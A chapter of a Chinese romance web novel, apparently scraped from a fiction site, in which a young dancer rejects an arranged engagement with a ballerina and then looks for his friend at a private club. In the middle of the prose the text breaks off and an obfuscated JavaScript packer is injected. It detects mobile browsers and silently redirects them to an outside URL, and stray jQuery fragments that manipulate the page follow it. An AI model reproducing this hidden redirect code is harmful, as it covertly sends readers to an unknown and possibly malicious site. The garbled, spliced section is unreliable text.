会所离家真的很近,步行都用不了十分钟。
按照乐娴发来的定位,夏心澄来到一个不起眼的小巷口。
视线沿着被翠色苔藓填满缝隙的石板路望到尽头,曲径通幽处,安静矗立着一栋典雅的欧式对称建筑。
道路两旁的树木繁茂高大,即便处在冬日也葱葱郁郁生机勃勃。
这天又实在是个好天气。
明媚的春光穿过树的缝隙,落了一地静谧高贵的斑驳。
眼前的路径因此变得高不可攀,通向的,亦是夏心澄完全不曾触及过的、另一个世界。
她心生迟疑和怯意。
……
会所二楼,公共休息区。
暖阳温和的渗入弧形景观落地窗,为错落摆放的名贵植物罩上新年的第一片碎金。
姜炽野等了半小时,喝完最后一口咖啡,正要走,一个年轻女人来到他面前坐下了。
从穿着打扮到妆容表情,像某个高级工厂批量生产出来的模板,只差没把‘大家闺秀’四个字贴脑门上。
她谈吐有度的做完自我介绍,说是,如无意外,会跟他订婚,成为他的未婚妻。
姜炽野忍不住发笑。
好像一不小心,乱入了什么偶像剧拍摄现场。
情况也很明白了。
世态炎凉啊,他跟老头讲亲情,老头把他当傻/比!
姜炽野今天可是洗了头才出门的,结果被摆一道,原本就算不上美丽的心情,彻底坏了。
行,舞蹈演员也是演员。
现场给他们演一个千亿少爷混球版!
想罢,他抬起脚,靴底野蛮的踩在出自北欧知名设计师孤品的茶几边缘。
黑曜石般光洁的桌面上,遗憾的落了一层灰。
姜炽野再从外套口袋里摸出香烟和打火机,叼一支在唇瓣间,肆无忌惮的点着、吞吐。
服务生见状,走过来温和提醒:“先生,这里是公共区,不可以抽烟,还有您的脚——”
话没说完,经理紧张的从远处小跑过来,毕恭毕敬对姜炽野道歉:“少爷对不起,打扰您了!他是新来的,不知道您是谁。”
‘新来的’和‘临时工’有异曲同工之妙,都是甩锅。
服务生按规则办事,但见经理快跪了,吓出一身冷汗,惊慌失措的跟着赔不是。
姜炽野夹着烟的手无所谓的抬了下,语调懒洋洋的:“我跟姜家都断联十年了,不知道很正常。”
稍顿,他似乎想到了什么,饶有兴致的转过头看着他们,道:“要是门口的狗都认识我,岂不是很恐怖?”
经理嘴里‘不敢不敢、没有没有’,领着服务生秒撤。
姜炽野舒展开四肢,任由身躯陷进暗灰色的丝绒沙发里,昂首吐出淡蓝色的烟雾,眼皮再浅浅的一垂,视线不客气睇过去,嘴上挂着讥诮的笑:“你叫什么来着?”
“秦舟。”她淡定重复,“秦朝的秦,一叶轻舟的舟。”
姜炽野轻描淡写的点了头:“挺好。”
这话回得模棱两可,要是夏心澄坐在对面,早就跳起来打他的头了。
秦舟却不为所动,心理素质没得说。
家族联姻,讲的不是个人的喜好厌恶,而是两个家族的繁荣和利好。
她既应承了家里的安排,婚约对象只要各方面都过得去就行。
姜炽野长得不丑,客观的说,比照片好看。
脾气也还行,嘴有点欠,但在她接受范围内。
至于抽烟……
秦舟暂时按住了劝他向善的念头,按照来时打好的腹稿,略作沉淀,开口道:“先恭喜你,拿到PremioRomaDanza的独舞金奖。这个奖很厉害的,能代表国际顶尖舞者的水准。”
她用西班牙语说出舞蹈大赛的全名,发音标准得让人挑不出错。
“功课做得到位。”姜炽野奖励性质的点评了一句。
他们能坐在这里大眼瞪小眼,那就不能算真正意义上的‘人’了。
家族工具而已。
区别在于姜炽野没打算听从安排,而对面的姑娘像被送去戒网中心洗过脑似的。
上网不好玩,短视频不刷,二愣子似的把他当攻略对象……
“我也是舞者。”秦舟说,“四岁开始学古典芭蕾,毕业于RoyalAcademyofDance,目前在Birmingham芭蕾舞团担任首席。”
姜炽野看她的眼色有了些许变化。
伯明翰皇家芭蕾舞团是国际知名舞团之一,虽说首席不止一个,但想做首席就得凭自身实力厮杀出来。
是觉得她身段比例不错,头围小,适合上镜。
原来是同行。
姜炽野又是点了点头,表示他在听。
秦舟便继续问:“我比你大两岁,你不介意吧?”
姜炽野面上晃过一丝诧异,别开脸去笑,无所谓的调调:“不介意。”
秦舟松了口气,绽出得体的笑容:“那太好了,你过几个月也要去伦敦吧?到时候我可以带你四处转转,借此机会增进彼此的了解,如果发展稳定的话,我们可以在那边买房。虽然定居不太现实,住个两三年应该没问题,然后就该回国了,家里的……”
她的滔滔不绝,让姜炽野心生厌烦。
本想着来都来了,以同行身份交流几句,了解一下伦敦的留学日常生活,同胞们都平时在哪个酒吧聚,雨淋多了是不是真的会秃?
可她到底是带着家族使命来的,三句绕不开订婚。
不难看出她对这桩包办婚姻并不排斥,甚至对‘他们’的未来做过美好的预想。
姜炽野不乐意。
他冰清玉洁一男的……
“我有一个问题想请教你。”姜炽野神色肃然,看着她的眼睛问,“芭蕾对你来说意味着什么?”
秦舟一脸费解。
这场被精心设计的‘初次见面’,于她而言和面试没差。
一个月之前她就拿到姜炽野的图文资料,对他的成长、喜好,与姜家核心的矛盾冲突均有所了解。
如果聊这些,她是有标准答案的。
可他却问了意料之外的问题。
秦舟想了想,保守回答道:“这是我的职业。”
姜炽野显然不满意,换了个方式追问:“你喜欢芭蕾吗?或者说,为了在舞台上跳下去,你能做到什么程度?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15420189|169000||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“什么什么程度?我不明白你的意思。”她陷入困惑中,凭自己的理解临场发挥,“你是希望我婚后把重心放在家庭上吗?这点你放心,我们的首席是晋升制,我主要负责的剧目是TheNutcracke,但你知道的,BalletSwanLake才是每个芭蕾舞者的终极梦想。行政总监已经答应我,两年内,我一定能跳Odette。”
等她圆了这个梦,就可以没有遗憾的退出舞团,回国结婚,专心相夫教子,做一名合格的豪门少奶奶。
姜炽野敷衍的‘嗯’了一声,将燃烧至末尾的烟摁在干净的茶几上。
起身穿外套。
“你要走了?”秦舟拿不准他的态度,下意识跟着站起来。
姜炽野斜身看她,觉得她在众多富家千金里不算特别讨厌的那类,但也是挺轴的一个人了。
为了避免今后延伸出更多的麻烦,索性一次说清楚。
“我今天是被骗来的,你出现之前,我一直以为我要见的人是我爷。”
“刚才我说的‘不介意’,不是不介意你比我大。”
“事实上,我不介意你是谁、打哪儿来,究竟是做什么的,大我二十岁和两百岁都无所谓。”
“我不会跟你订婚,不会回姜家,更不想做臭老头的工具人,听明白了?”
秦舟好像是呆住了,怔怔的瞠大眼睛望他,像个随时会碎掉的芭比娃娃。
仍旧是无所谓。
碎了也跟他没关系。
姜炽野无感舒出一口气,不等她点头抑或再提出疑问,干脆的转身离开。
公共休息区如同封闭的微缩热带雨林,时隔多年,这里的摆设和格局与记忆中变化不大,花草绿植也被养护得很好。
那株他七岁时参与移植的东京龙脑香,如今涨势参天,快要窜到拱形的屋顶。
姜炽野祝它穿破那些不堪一击的琉璃窗,离天空更近一些。
他一身肃黑,双手抄在冲锋衣的富足有余的口袋里,像入侵这片区域的黑色病毒。
从龙脑香的下方穿过,顺着不起眼的旋梯,绕到乐娴身后,盯着她背对自己蹲成一团,专注编辑信息的身影。
“喂!”
“呜——啊——”
乐娴一屁股坐在地上。
得亏面前有护栏,不然一准栽下去。
“你不是走了吗?打招呼能不能正常点,刚才多危险啊!”快吓死她了。
“夏心澄呢?”姜炽野问的时候,狐疑的环顾四下。
乐娴装傻:“你问澄澄?我不知道啊,今天没联系。”
“别装。”姜炽野盯着她心虚藏到身后的手机,“你先举着手机对着我录视频,完了埋头发短信,跟那家伙聊得有来有回。”
“有来有回,哪里来的依据?”
“手机屏幕调太亮了,把你的脸晃的明一下暗一下,跟鬼一样。”
“……”
乐娴放弃抵抗。
她也不能算跟澄澄通风报信,闺蜜超过两小时不联系一律当做绝交!
“来了,在门口就打了退堂鼓。我问她现在在哪儿,不肯说。”
姜炽野‘啧’了声,成功皱眉。